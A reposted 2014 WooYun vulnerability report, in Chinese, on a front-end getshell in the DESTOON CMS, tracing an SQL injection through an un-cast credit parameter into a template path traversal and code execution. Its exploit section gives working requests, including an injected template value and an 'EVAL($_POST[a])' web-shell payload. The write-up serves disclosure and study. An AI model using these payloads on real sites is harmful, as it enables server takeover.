DESTOON前台getshell

admin 2015年6月29日20:57:22评论395 views字数 212阅读0分42秒阅读模式
摘要

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-07: 细节向核心白帽子及相关领域专家公开
2014-12-17: 细节向普通白帽子公开
2014-12-27: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

漏洞概要 关注数(43) 关注此漏洞

缺陷编号: WooYun-2014-78327

漏洞标题: DESTOON前台getshell DESTOON前台getshell

相关厂商: DESTOON

漏洞作者: Noxxx

提交时间: 2014-10-04 21:07

公开时间: 2014-12-30 14:44

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

15人收藏


漏洞详情

披露状态:

2014-10-04: 细节已通知厂商并且等待厂商处理中
2014-10-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-07: 细节向核心白帽子及相关领域专家公开
2014-12-17: 细节向普通白帽子公开
2014-12-27: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

如题。。

详细说明:

/module/know/answer.inc.php

143 - 161行

code 区域
case 'raise': //这个功能是 "知道功能" 悬赏的次数更新,因为默认只允许2次提高悬赏的次数

if($credit < 1) dalert($L['select_credit'], 'goback');
//这里credit 不能小于 1
//由于php是弱语言,所以 1xxx 这样被转换过去就变成了 1 条件也就成立了

if($credit > $_credit) dalert($L['lack_credit'], 'goback');
$could_raise = $could_admin;//是否是 "知道"发布的作者.

if($item['process'] != 1) $could_raise = false;
if($item['raise'] >= $MOD['maxraise']) $could_raise = false;
//$MOD['maxraise']就是最大能 “提高悬赏” 次数。

if($could_raise) { //条件通过进入这个流程
if($credit >= $MOD['raisecredit']) {
$addtime = $DT_TIME;
$totime = $DT_TIME + $MOD['overdays']*86400 + $MOD['raisedays']*86400;
} else {
$addtime = $item['addtime'];
$totime = $item['totime'] + $MOD['raisedays']*86400;
}

$db->query("UPDATE {$table} SET credit=credit+$credit,raise=raise+1,addtime=$addtime,totime=$totime WHERE itemid=$itemid"); //看直接带入了 credit+$credit ,由于他$credit 并没有 int掉,所以导致能注入...

但是有点就是防注入绕不过去了...慢蛋疼的

safe.func.php中的

code 区域
"/select([/s/S]*?)from/i"

这个绕不过.不能子查询的话 也有没有多大的危害。于是我又找找,找到一个能提高危害等级的一段代码。

在 /module/know/show.inc.php中 (这个文件就是展示信息用的)

首先看第6行

code 区域
$item = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid");
item是等于我们 “提问知道” 的数据。由于我们掌握了一个 update的注入点,想更新什么都行咯。

再看最后2行

code 区域
if($item['template']) $template = $item['template'];// 这个我们可以更新来达到包含的目的
include template($template, $module);//这个函数并不陌生..上次提交了个命令执行也是这个步骤
code 区域
function template($template = 'index', $dir = '') {
global $CFG;
$to = $dir ? DT_CACHE.'/tpl/'.$dir.'-'.$template.'.php' : DT_CACHE.'/tpl/'.$template.'.php';
$isfileto = is_file($to);

if($CFG['template_refresh'] || !$isfileto) {
if($dir) $dir = $dir.'/';
$from = DT_ROOT.'/template/'.$CFG['template'].'/'.$dir.$template.'.htm';
if($CFG['template'] != 'default' && !is_file($from)) {
$from = DT_ROOT.'/template/default/'.$dir.$template.'.htm';
}
if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) {
require_once DT_ROOT.'/include/template.func.php';
template_compile($from, $to);
}
}
return $to;
}

如果是在win下就直接可以返回路径了,

code 区域
if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) {

这几个条件都不会成立.会 return $to;

但是在 linux下 ,是不能跳出不存在的目录的。

但是destoon很好的给我们创建了目录。

Linux:

code 区域
template_compile($from, $to);创建缓存文件。

function template_compile($from, $to) {
$content = template_parse(file_get($from));
file_put($to, $content);//关键是这个 file_put会帮我们创建目录,
}

function template_parse($str) {
global $CFG;
$str = preg_replace("//</!/-/-/[(.+?)/]/-/-/>/", "", $str);
$str = preg_replace("//</!/-/-/{(.+?)/}/-/-/>/s", "{//1}", $str);
$str = preg_replace("//{template/s+([^/}]+)/}/", "<?php include template(//1);?>", $str);
$str = preg_replace("//{php/s+(.+)/}/", "<?php //1?>", $str);
$str = preg_replace("//{if/s+(.+?)/}/", "<?php if(//1) { ?>", $str);
$str = preg_replace("//{else/}/", "<?php } else { ?>", $str);
$str = preg_replace("//{elseif/s+(.+?)/}/", "<?php } else if(//1) { ?>", $str);
$str = preg_replace("//{//if/}/", "<?php } ?>/r/n", $str);
$str = preg_replace("//{loop/s+(/S+)/s+(/S+)/}/", "<?php if(is_array(//1)) { foreach(//1 as //2) { ?>", $str);
$str = preg_replace("//{loop/s+(/S+)/s+(/S+)/s+(/S+)/}/", "<?php if(is_array(//1)) { foreach(//1 as //2 => //3) { ?>", $str);
$str = preg_replace("//{//loop/}/", "<?php } } ?>", $str);
$str = preg_replace("//{([a-zA-Z_/x7f-/xff][a-zA-Z0-9_/x7f-/xff]*/(([^{}]*)/))/}/", "<?php echo //1;?>", $str);
$str = preg_replace("/</?php([^/?]+)/?>/es", "template_addquote('<?php//1?>')", $str);
$str = preg_replace("//{(//$[a-zA-Z_/x7f-/xff][a-zA-Z0-9_/+/-/x7f-/xff]*)/}/", "<?php echo //1;?>", $str);
$str = preg_replace("//{(//$[a-zA-Z0-9_/[/]/'/"/$/x7f-/xff]+)/}/es", "template_addquote('<?php echo //1;?>')", $str);
$str = preg_replace("//{([A-Z_/x7f-/xff][A-Z0-9_/x7f-/xff]*)/}/s", "<?php echo //1;?>", $str);
$str = preg_replace("//'([A-Za-z]+)/[/'([A-Za-z/.]+)/'/](.?)/'/s", "'//1[//2]//3'", $str);
$str = preg_replace("/(/r?/n)//1+/", "//1", $str);
$str = str_replace("/t", '', $str);
$str = "<?php defined('IN_DESTOON') or exit('Access Denied');?>".$str;
if($CFG['template_trim']) return strip_nr($str);
return $str;
}
code 区域
function file_put($filename, $data) {
dir_create(dirname($filename));
if(@$fp = fopen($filename, 'wb')) {
flock($fp, LOCK_EX);
$len = fwrite($fp, $data);
flock($fp, LOCK_UN);
fclose($fp);
if(DT_CHMOD) @chmod($filename, DT_CHMOD);
return $len;
} else {
return false;
}
}
code 区域
function dir_create($path) {
if(is_dir($path)) return true;
if(DT_CACHE != DT_ROOT.'/file/cache' && strpos($path, DT_CACHE) !== false) {
$dir = str_replace(DT_CACHE.'/', '', $path);
$dir = dir_path($dir);
$temp = explode('/', $dir);
$cur_dir = DT_CACHE.'/';
$max = count($temp) - 1;
for($i = 0; $i < $max; $i++) {
$cur_dir .= $temp[$i].'/';
if(is_dir($cur_dir)) continue;
@mkdir($cur_dir);
if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD);
if(!is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html');
}
} else {
$idx = strpos($path, '/file/') !== false ? true : false;
$dir = str_replace(DT_ROOT.'/', '', $path);
$dir = dir_path($dir);
$temp = explode('/', $dir);
$cur_dir = DT_ROOT.'/';
$max = count($temp) - 1;
for($i = 0; $i < $max; $i++) {
$cur_dir .= $temp[$i].'/';
if(is_dir($cur_dir)) continue;
@mkdir($cur_dir);
if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD);
if($idx && !is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html');
}
}
return is_dir($path);
}

最终linbux会创建know-这个目录因为,这个$dir是know

function template($template = 'index', $dir = '')

所以不用担心在linux用/../../../跳不出去。

DESTOON前台getshell

上次我在360提交的东就是 tag.inc.php这里执行的代码。

我们来看看,(因为这里是admin的文件,但是普通的就能包含进去始终是个很大的风险)。

在 admin/tag.inc.php。

code 区域
defined('IN_DESTOON') or exit('Access Denied');//common.inc.php 就定义了这个常量。

93-99

code 区域
"/select([/s/S]*?)from/i"

0

这里似乎也没有什么限制了。

白做的安全措施 最后执行还是的$tag_code。只要$tag_code不超过特定的长度就可以了。

template需要等于:/../../../../admin/tag.inc

现在想起来

code 区域
"/select([/s/S]*?)from/i"

1

似乎没有什么编码让我更新上去。。0x让实体化了,CHAR也是

那就只能先把 路径写到另外的字段了。

template就=写入的字段了

(ps:这个发布知道提问,需要管理员审核)

漏洞证明:

DESTOON前台getshell

DESTOON前台getshell

DESTOON前台getshell

DESTOON前台getshell

DESTOON前台getshell

执行完,会自动转跳如果页面是空白就成功了。

DESTOON前台getshell

EXP:

1.

**.**.**.**/destoon/member/answer.php?itemid=6&action=raise

credit=1,template=introduce

2.

**.**.**.**/destoon/know/show.php?itemid=6

action=preview&tag_code=EVAL($_POST[a]);&a=phpinfo();exit;

(post[introduce] => /../../../../admin/tag.inc)

另外还有个利用方式,参见http://**.**.**.**/bugs/wooyun-2014-067679这个

修复方案:

int掉credit.(admin目录的文件最好还是换个常量验证..)

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-10-04 23:24 | U神 ( 核心白帽子 | Rank:1375 漏洞数:94 | 乌云核心菜鸟,此号处于联盟托管中....)

    2

    关注!!

  2. 2014-10-05 00:28 | 你大爷 ( 实习白帽子 | Rank:84 漏洞数:1 | hdjdj)

    0

    吊 洞主求抱大腿

  3. 2014-10-05 08:01 | j14n ( 普通白帽子 | Rank:2144 漏洞数:27 )

    0

    mark

  4. 2014-10-06 17:51 | 小.P.孩 ( 路人 | Rank:0 漏洞数:1 )

    0

    必须顶起啊!!

  5. 2014-10-13 09:37 | ′king ( 实习白帽子 | Rank:40 漏洞数:7 | 马甲甲)

    0

    很吊 这个哥们你没选择通用啊。

  6. 2014-10-13 09:54 | pandas ( 普通白帽子 | Rank:730 漏洞数:58 | 国家特级保护动物)

    0

    洞主功力颇深

  7. 2014-10-13 10:24 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:43 )

    0

    @′king 呃..貌似是选了的啊。。居然忽略了,,

  8. 2014-10-13 10:43 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:43 )

    0

    @pandas 小菜路过。。

  9. 2014-12-12 11:39 | mu0u ( 路人 | 还没有发布任何漏洞 | 先做人,后做事。)

    1

    土豪,交个朋友吧。

  10. 2014-12-15 17:06 | 微尘 ( 普通白帽子 | Rank:234 漏洞数:73 )

    1

    @Noxxx 我能弱弱的问下。你ID怎么看的吗?我审核完了是静态地址。找不到ID

  11. 2014-12-15 19:08 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:43 )

    1

    @微尘 伪静态后面那个应该就是id了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin